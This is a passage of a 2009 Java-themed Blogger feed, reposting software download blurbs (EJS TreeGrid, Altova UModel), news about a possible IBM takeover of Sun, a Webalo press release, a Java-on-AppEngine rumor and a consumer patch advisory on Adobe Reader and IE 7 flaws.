{}"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 50px; height: 50px;" src="http://1.bp.blogspot.com/_6oPuqq2c5Gw/Sc98UXVaQfI/AAAAAAAAALY/pojMs1CsMi0/s400/dlNowGrn.gif" alt="" id="BLOGGER_PHOTO_ID_5318606374250889714" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-6464274504294634098?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/6464274504294634098/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=6464274504294634098' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6464274504294634098'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6464274504294634098'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/codethat-studio-250.html' title='CodeThat Studio 2.5.0'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_6oPuqq2c5Gw/Sc98UXVaQfI/AAAAAAAAALY/pojMs1CsMi0/s72-c/dlNowGrn.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-4887107907990709926</id><published>2009-03-29T06:42:00.000-07:00</published><updated>2009-03-29T06:46:47.556-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>EJS TreeGrid 4.5</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.treegrid.com/ico/2grid800.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 795px; height: 762px;" src="http://www.treegrid.com/ico/2grid800.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EJS TreeGrid is DHTML component written in pure JavaScript to display and edit data in table, grid, tree view or grid with tree on HTML page.&lt;br /&gt;&lt;br /&gt;Compatible with Internet Explorer 5.0+, Mozilla 1.0+, Mozilla Firefox 1.0+, Netscape Navigator 6.0+, Opera 7.60+, KHTML (Konqueror 3.0+, Safari 1.2+).&lt;br /&gt;&lt;br /&gt;Main advantages to similar components are tree capability, advanced cell formulas and calculations like in MS Excel, various paging types to display nearly unlimited count (millions) of rows using AJAX and pager component, extended filters like in MS Excel, automatic grouping rows to tree according column values (like PivotTable in MS Excel), fixed columns and rows on all sides, dragging rows even among the grids, moving columns, user defined CSS styles to change grid look, extended JavaScript API with events and methods to control the grid from JavaScript, using grid without any need of JavaScript code on page, sophisticated XML input / output format, advanced key and mouse navigation, compatibility with many browsers, various editing masks, multi line editing. Printing capabilities and export to Microsoft Excel or any other spreadsheet program that can handle XLS files or HTML tables. Synchronisation data with server. Master / detail relationship. TreeGrid is also very fast to display and control.&lt;br /&gt;&lt;br /&gt;EJS TreeGrid of course supports all basic grid features like editing cell content, updating changes to server by AJAX or by page submit, sorting rows, adding and deleting rows, row state colors, column resizing, column hiding / displaying, control panel, various cell types like text, number, check box, textarea, combo box, image, url or any other HTML, calendar component to pick up dates and so on.&lt;br /&gt;&lt;br /&gt;EJS TreeGrid distribution contains many examples and predefined code for server side scripts ASP (VBScript), ASP.NET (C#, Visual Basic), JSP (Java) and PHP.&lt;br /&gt;EJS TreeGrid can be used also in any other server script environment that can handle and process XML data.&lt;/div&gt;   &lt;div&gt;&lt;div id="user_reviews"&gt;&lt;h2 align="right"&gt;&lt;br /&gt;&lt;/h2&gt;  &lt;span style="font-size:85%;"&gt;&lt;p&gt;&lt;b&gt;EJS T&lt;/b&gt;&lt;b&gt;reeGrid 4.5&lt;/b&gt; is a component written in pure JavaScript that helps in displaying and editing the data, which is either given in tabular, or tree or grid format, or HTML page. The software is compatible with almost all the web browsers, such as, Internet Explorer 5.0, Opera 7.60, Mozilla 1.0, Netscape Navigator etc. It is used to load XML data from the server and upload its modification back to server again. For better control of TreeGrid look and performance you can use JavaScript function, such as, event handlers. The program features are not complex, and hence can be easily operated without any complications.&lt;/p&gt;    &lt;p&gt;&lt;b&gt;EJS TreeGrid 4.5&lt;/b&gt; contains the advanced calculations, formulas and extended filters like MS Excel. By using AJAX and pager component it can display unlimited number of rows, and according to the column values it can group the rows to trees like Pivot Table in MS EXCEL. There are fix number of rows and columns on all the sides. It has many features such as user defined CSS Styles to modify the look of grid, advanced key and mouse navigation, contains many editing masks, printing capabilities and export the Excel or any spreadsheet. It contains predefined server side scripts like ASP.NET (C#, Visual Basic), ASP (VBScript), PHP and JSP (Java). It supports various grid features such as editing the cell content, page submit, modify rows and columns, etc. It is capable communicating with the Server in two ways i.e. using Submit and AJAX.&lt;/p&gt;   &lt;p&gt;&lt;b&gt;EJS TreeGrid 4.5&lt;/b&gt; has a user friendly feature-set for creating treeview of data, and it also supports customization of built-in images, style or behavior settings. Considering the features and functioning capability of the software, it has been rated with 3.5 points.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.freedownloadscenter.com/Web_Authoring/Java_Programming_Tools/EJS_TreeGrid_Download.html"&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 50px; height: 50px;" src="http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sc97NZNccII/AAAAAAAAALQ/H4aUrGcv9qM/s400/dlNowGrn.gif" alt="" id="BLOGGER_PHOTO_ID_5318605154983637122" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/span&gt;  &lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-4887107907990709926?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/4887107907990709926/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=4887107907990709926' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/4887107907990709926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/4887107907990709926'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/ejs-treegrid-45.html' title='EJS TreeGrid 4.5'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sc97NZNccII/AAAAAAAAALQ/H4aUrGcv9qM/s72-c/dlNowGrn.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-9193949026976718384</id><published>2009-03-29T06:37:00.000-07:00</published><updated>2009-03-29T06:42:05.862-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>Powerful UML 2 software modeling and design tool – Download Now</title><content type='html'>To unlock the software and begin your trial, simply request a free evaluation key from the dialog box that will automatically open when you start the application. Our license server will immediately email you a FREE 30-day trial key code that unlocks the software with all features fully enabled (no limitations, no crippled application – you can use UModel productively for the full 30-day period).&lt;br /&gt;&lt;br /&gt;Installation Note: If you have more developers in your group that would like to test the software, you only need to download it once. The self-contained Installer for UModel® 2009 can be distributed on an enterprise LAN by placing it on a file server. As such, it can also be used to install UModel® 2009 on a computer that is not connected to the Internet.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.altova.com/download/2009/default.asp?product=u&amp;amp;edition=e&amp;amp;os=any&amp;amp;server=us"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 50px; height: 50px;" src="http://1.bp.blogspot.com/_6oPuqq2c5Gw/Sc96IWTuDlI/AAAAAAAAALI/6DSKmiiZwZQ/s400/dlNowGrn.gif" alt="" id="BLOGGER_PHOTO_ID_5318603968793677394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;.EXE format&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.altova.com/download/2009/default.asp?product=u&amp;amp;edition=e&amp;amp;os=any&amp;amp;server=us&amp;amp;ext=zip"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 50px; height: 50px;" src="http://1.bp.blogspot.com/_6oPuqq2c5Gw/Sc96IWTuDlI/AAAAAAAAALI/6DSKmiiZwZQ/s400/dlNowGrn.gif" alt="" id="BLOGGER_PHOTO_ID_5318603968793677394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;.ZIP format&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-9193949026976718384?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/9193949026976718384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=9193949026976718384' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/9193949026976718384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/9193949026976718384'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/powerful-uml-2-software-modeling-and.html' title='Powerful UML 2 software modeling and design tool – Download Now'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_6oPuqq2c5Gw/Sc96IWTuDlI/AAAAAAAAALI/6DSKmiiZwZQ/s72-c/dlNowGrn.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8296664444597352758</id><published>2009-03-29T06:34:00.000-07:00</published><updated>2009-03-29T06:36:58.068-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>IBM/Sun deal could benefit Java, says Google's open source chief</title><content type='html'>Google's chief of open source believes an IBM acquisition of Sun could benefit the Java community, which has occasionally protested Sun’s leadership role over the technology.&lt;br /&gt;&lt;br /&gt;Chris Dibona, Google's open source program manager, speculated that IBM ownership of Sun could have prevented the current battle between Sun and Apache Software Foundation, which accuses Sun of refusing to grant it an acceptable license for its open source Java SE implementation called Harmony. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;“I think [an IBM acquisition of Sun] would actually have a positive impact on Java,” Dibona said during a roundtable discussion about open source issues with media members in Boston Thursday. “Sun has been kind of weird about licensing the TCK [Technology Compatibility Kit] for non-Sun Java. I think IBM would not be as restrictive about the use of the TCK. … IBM has been a huge user of Java and a huge supporter of the Java projects.”&lt;br /&gt;&lt;br /&gt;The TCK Dibona referred to is a set of tests, tools and documentation that determines whether a project complies with a Java technology specification.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Java is an important technology for Google, which holds a seat on the executive committee of the Java Community Process, which helps dictate the future of Java by developing new technology specifications and reference implementation.&lt;br /&gt;&lt;br /&gt;The Java programming language was invented by Sun, which released its Java software platform in 1995. Over the years, Sun has made several moves to involve the broader community of developers and rival vendors who have a vested interest in the technology.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In 1998, Sun created the Java Community Process and in 2006 and 2007 Sun released the programming language itself as open source software. But some members of the Java community want Sun to give up its control over the Java technology and the Java Community Process completely, leaving the company with no special rights over the licensing and development of the software.&lt;br /&gt;&lt;br /&gt;IBM is reportedly in talks to purchase Sun Microsystems, but no deal has been officially announced.&lt;br /&gt;&lt;br /&gt;While Dibona said he believes there would be fewer conflicts if IBM were the owner of Java, he did not offer an opinion as to whether IBM would relinquish control over Java and the JCP. Any time companies merge, major changes can take years, he noted.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8296664444597352758?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8296664444597352758/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8296664444597352758' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8296664444597352758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8296664444597352758'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/ibmsun-deal-could-benefit-java-says.html' title='IBM/Sun deal could benefit Java, says Google&apos;s open source chief'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-7586482128466492712</id><published>2009-03-29T06:32:00.000-07:00</published><updated>2009-03-29T06:34:44.700-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>Webalo Extends Enterprise Data to Mobile Property Managers at DDR</title><content type='html'>Developers Diversified Realty (NYSE:DDR) has adopted the Webalo Mobile Dashboard service for delivering enterprise data to its field staff. Developers Diversified chose Webalo's service because it allowed them to deliver a mobile solution without the time, cost, and complexity of traditional enterprise-to-mobile application development.&lt;br /&gt;&lt;br /&gt;Webalo's Mobile Dashboard service lets Developers Diversified avoid traditional mobile middleware and high cost application development programming tools, making it possible to deliver a mobile version of their enterprise data in a matter of hours. Now, rather than waiting to return to their desks or depend on a laptop, the field staff can access the facts they need directly from their smartphones.&lt;br /&gt;&lt;br /&gt;"We had many great ideas but didn't have the manpower or bandwidth for traditional mobile development," said Developers Diversified's Kevin M. Moss, Senior Vice President of Information Technology. "We like the idea of having a single platform to provide easy mobile access to our critical business information. The Webalo Mobile Dashboard will cut down on our administrative tasks and dramatically increase user productivity."&lt;br /&gt;&lt;br /&gt;When the field staff visited any of the company's properties each week, they would have to carry volumes of paper reports without real-time information about the tenants and leases at the company's portfolio of over 710 shopping centers. With information provided through the Webalo Mobile Dashboard, facts are accurate and up-to-date because the Mobile Dashboard permits companies to continuously extract critical information from internal business reports and distribute that data directly to the smartphones carried by their mobile workforce.&lt;br /&gt;&lt;br /&gt;Peter Price, Webalo's president and CEO, added "Given this economy, it makes a great deal of sense to give users tools that make them more productive, but it doesn't make sense to spend a lot of time and money doing it. Developers Diversified is using the Webalo Mobile Dashboard to eliminate the cost and delays of programming, provide enterprise access within a few hours and, in the process, increase the value of their smartphones and improve the productivity of their employees."&lt;br /&gt;&lt;br /&gt;Developers Diversified is deploying the Webalo Mobile Dashboard service to several hundred of its employees.&lt;br /&gt;&lt;br /&gt;About Webalo&lt;br /&gt;&lt;br /&gt;Webalo technology transforms enterprise applications and data to make them compatible with mobile devices. This eliminates the need for traditional custom programming, reducing the deployment of mobile applications from weeks or months to, in most cases, less than a day. The resulting "anywhere, any time, on-demand" availability of enterprise data on handheld devices turns such devices into viable alternatives to desktop, laptop, and palmtop computer hardware, and lets mobile employees work more productively - on the spot - to solve problems, answer questions, monitor operations, close sales, and make informed decisions.&lt;br /&gt;&lt;br /&gt;The Webalo Mobile Dashboard Service - available in both Internet-based and enterprise appliance-based implementations - lets non-IT business administrators securely specify the content of mobile-accessible information, and the companion Webalo Proxy Server configures it, in seconds, to conform to the native user interface of any BlackBerry, Windows Mobile, PocketPC, Palm, Symbian, or Java-enabled smartphone. Webalo's technology transforms the role of Service Oriented Architecture (SOA: 2.17, -0.03, -1.36%) into a User Oriented Architecture, enabling Web services to communicate with users as effectively as they communicate with other system services.&lt;br /&gt;&lt;br /&gt;Webalo Partners such as Actuate, AT&amp;T, IBM, Microsoft, Nokia, RIM, and Verizon are working with Webalo to enhance both their mobile business applications and their mobile devices. Los Angeles based, Webalo is privately held and was founded in 2000. For further information, visit www.webalo.com.&lt;br /&gt;&lt;br /&gt;About DDR&lt;br /&gt;&lt;br /&gt;Developers Diversified Realty Corporation currently owns and manages over 710 retail operating and development properties in 45 states, plus Puerto Rico, Brazil and Canada, totaling approximately 157 million square feet. Developers Diversified Realty Corporation is a self-administered and self-managed REIT operating as a fully integrated real estate company which acquires, develops, leases and manages shopping centers. Additional information about Developers Diversified is available on the Internet at www.ddr.com.&lt;br /&gt;&lt;br /&gt;Editors, note: All trademarks and registered trademarks are those of their respective companies.&lt;br /&gt;&lt;br /&gt;SOURCE: Webalo&lt;br /&gt;&lt;br /&gt;   Webalo, Inc. &lt;br /&gt;   Peter Price, +1-310-828-7335 &lt;br /&gt;   Fax: +1-310-828-5805 &lt;br /&gt;   pprice@webalo.com&lt;br /&gt;   &lt;br /&gt;&lt;br /&gt;Copyright Business Wire 2009&lt;br /&gt;   &lt;br /&gt;   **********************************************************************&lt;br /&gt;   &lt;br /&gt;   As of Sunday, 03-22-2009 23:59, the latest Comtex SmarTrend� Alert, &lt;br /&gt;   an automated pattern recognition system, indicated an UPTREND on &lt;br /&gt;   12-08-2008 for DDR @ $6.01.&lt;br /&gt;   &lt;br /&gt;   For more information on SmarTrend, contact your market data&lt;br /&gt;   provider or go to www.mysmartrend.com&lt;br /&gt;   &lt;br /&gt;   SmarTrend is a registered trademark of Comtex News Network, Inc.&lt;br /&gt;   Copyright � 2004-2009 Comtex News Network, Inc. All rights reserved.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-7586482128466492712?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/7586482128466492712/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=7586482128466492712' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7586482128466492712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7586482128466492712'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/webalo-extends-enterprise-data-to.html' title='Webalo Extends Enterprise Data to Mobile Property Managers at DDR'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-1226467720282420930</id><published>2009-03-29T06:28:00.000-07:00</published><updated>2009-03-29T06:32:17.979-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Just In: Adobe Reader, IE 7 Holes Under Attack</title><content type='html'>If you were an Internet crook, the following item would be music to your ears: A zero-day flaw--a security hole with no fix available before attacks could be launched--exists in Adobe Reader and Acrobat, and can be exploited by a poisoned PDF file in an attempt to take over a vulnerable computer.&lt;br /&gt;&lt;br /&gt;As Symantec reported in February, crooks have hit the flaw with small-scale attacks that e-mail PDF attachments to specific targets. Adobe says a patch should be ready for version 9 of both programs by the time you read this, with fixes for earlier versions to follow. Read Adobe's alert and get a link to the eventual fixes.&lt;br /&gt;&lt;br /&gt;Word Docs Target IE 7&lt;br /&gt;&lt;br /&gt;Bad guys went after a bug in Internet Explorer 7 a week after Microsoft distributed a fix. Those attacks employed a malicious Word document, but the Internet Storm Center has warned that crooks could also add hidden code to a hijacked Web site to create a drive-by download attack. You can inÂ­Â­stall the patch for this browser flaw via Automatic Updates, or you can download it.&lt;br /&gt;ad_icon&lt;br /&gt;&lt;br /&gt;The same patch batch from Microsoft addresses a security vulnerability in the company's Visio diagramming software; an attack through this hole can be triggered if you open a hacked Visio file.&lt;br /&gt;&lt;br /&gt;Meanwhile, Mozilla fixed six security holes in its Firefox browser, one of which was deemed critical. Firefox version 3.0.6 and later has the fixes; click Help, Check for Updates to make sure that you have the latest version. The same critical flaw can hit the Thunderbird e-mail program if JavaÂ­Script is enabled for e-mail (it's disabled by deÂ­Â­fault, and discouraged by Mozilla). Version 2.0.0.21 closes the hole.&lt;br /&gt;&lt;br /&gt;Media File Mayhem&lt;br /&gt;&lt;br /&gt;If you use RealNetworks' RealPlayer, beware of a risk involving malformed Internet Video Recording (IVR) files. According to security company Fortinet, simply previewing a poisoned IVR file in Windows Explorer could allow an atÂ­Â­tacker to run any command on a vulnerable PC. Versions 11 through 11.04 are at risk, while 11.05 and later are not affected. Check your version by clicking Help, About RealPlayer, and, if you need it, click for the upgrade.&lt;br /&gt;&lt;br /&gt;Finally, OpenOffice users should know that a default installation of the productivity suite's latest version (3.0.1) adds an old, insecure version of Sun's Java (Java 6 Update 7). According to the Washington Post, which originally reported the issue, the suite should work fine with the latest edition, Java 6 Update 12; remove your old Java versions and install the new one. You can also read the original report. The OpenOffice team should have a new version (with an updated Java version) by the time you read this, and you can also get a Java-less install via peer-to-peer download.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-1226467720282420930?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/1226467720282420930/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=1226467720282420930' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1226467720282420930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1226467720282420930'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/just-in-adobe-reader-ie-7-holes-under.html' title='Just In: Adobe Reader, IE 7 Holes Under Attack'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-3169709278006721249</id><published>2009-03-29T06:25:00.000-07:00</published><updated>2009-03-29T06:28:26.360-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Get Ready For Java On AppEngine</title><content type='html'>Here's a juicy rumor (if you're a geek, this is good stuff): A source tells us that Google AppEngine, a platform for building and hosting web applications in the cloud, will begin letting developers write applications in Java in the near future. Until now only Python applications were supported. The announcement should come at the Google I/O conference in late May.&lt;br /&gt;&lt;br /&gt;Java applications are extremely popular, particularly for business applications, and it is one of the internally supported languages at Google. In fact, late last year a startup called Stax Networks launched that billed itself as an "AppEngine for Java." Don't feel too bad for the startup, however, they've said from the beginning that they expected Google to enter the Java market sooner rather than later.&lt;br /&gt;&lt;br /&gt;Java continues to be one of the most popular programming languages, and is a natural next step for Google. And AppEngine has been a highly successful product, at least from a press standpoint - the Obama Administration has embraced it along with all things Google.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-3169709278006721249?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/3169709278006721249/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=3169709278006721249' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3169709278006721249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3169709278006721249'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/get-ready-for-java-on-appengine.html' title='Get Ready For Java On AppEngine'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-3137680799872467609</id><published>2009-03-29T06:23:00.000-07:00</published><updated>2009-03-29T06:24:59.334-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Sun Micro Shares Slide As Concerns Grow Around IBM Deal</title><content type='html'>NEW YORK -(Dow Jones)- Sun Microsystems Inc. (JAVA) shares hit their lowest point Monday since the news broke last week of a potential acquisition by International Business Machines Corp. (IBM).&lt;br /&gt;&lt;br /&gt;The stock's decline, which has been fairly steady since hitting a high of $ 9.27 on Wednesday, reflects Wall Street's concerns that the deal won't get done or not at the premium first suggested.&lt;br /&gt;&lt;br /&gt;Both companies declined to comment. The Wall Street Journal reported Friday that the deal was being delayed as IBM completed its due diligence.&lt;br /&gt;&lt;br /&gt;Sun Micro shares had rallied after The Wall Street Journal reported that IBM was in talks to purchase the company for $10 to $11 a share, or up to roughly $8 billion. The stock hit a low of $7.25 Monday - down nearly 22% from Wednesday's high - before rising with the broader market late in the session Monday.&lt;br /&gt;&lt;br /&gt;Despite the late-day gains, Sun Micro still was one of the few decliners Monday, dropping 3.7% to $7.80.&lt;br /&gt;&lt;br /&gt;"Ten or eleven bucks a share looks fine as a sum of the parts, but if you factor in cash and debt, I think it's closer to $8 or $9," said Argus Research analyst Wendy Abramowitz.&lt;br /&gt;&lt;br /&gt;A double-digit per-share price would represent more than a 100% premium to what had been Sun's closing price - $4.97 - before the news last week.&lt;br /&gt;&lt;br /&gt;Since deal reports surfaced, others have shown skepticism about the price as well. Thomas Weisel analyst Doug Reid said in a client note that a cash bid of approximately $8.50 a share represents a "best-case scenario" takeout valuation for Sun. Bill Shope of Credit Suisse also said last week that he was "surprised by the premium IBM is willing to offer."&lt;br /&gt;&lt;br /&gt;There are several reasons why investors might be skeptical. For one, the companies remain mum days after reports of a both a possible deal and a lengthy due-diligence process. Also, few others look prepared to compete with IBM for control of the company, which makes the chances slim for a bidding war and a higher premium.&lt;br /&gt;&lt;br /&gt;Additionally, IBM may find it faces significant challenges integrating a company with many disparate businesses, and a culture said to be led by engineers, not executives.&lt;br /&gt;&lt;br /&gt;To be sure, IBM has the cash to make a deal happen despite the tight financing environment. As of Dec. 31, IBM had $12.9 billion in cash and cash equivalents, and reported a 12% rise in fourth-quarter profit, bucking the trend of other tech bellwethers suffering from slumping spending.&lt;br /&gt;&lt;br /&gt;But as early excitement winds down, so too could Sun's share price. The company has been hit by a drop in demand for its high-end servers. Sun has traditionally relied on purchases from the struggling financial-services sector, which was hit early in the current downturn.&lt;br /&gt;&lt;br /&gt;In January, the company reported that it swung to a fiscal second-quarter loss, and Chief Executive Jonathan Schwartz said the economic crisis was causing customers to delay purchases of some of its products. In November, Sun announced plans to cut up to 18% of its work force, or as many as 6,000 employees, in an effort to cut annual costs by some $750 million a year.&lt;br /&gt;&lt;br /&gt;-By Jerry A. DiColo; Dow Jones Newswires; 201-938-5670; jerry.dicolo@ dowjones.com&lt;br /&gt;&lt;br /&gt;  (END) Dow Jones Newswires&lt;br /&gt;  03-23-09 1653ET&lt;br /&gt;  Copyright (c) 2009 Dow Jones &amp; Company, Inc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 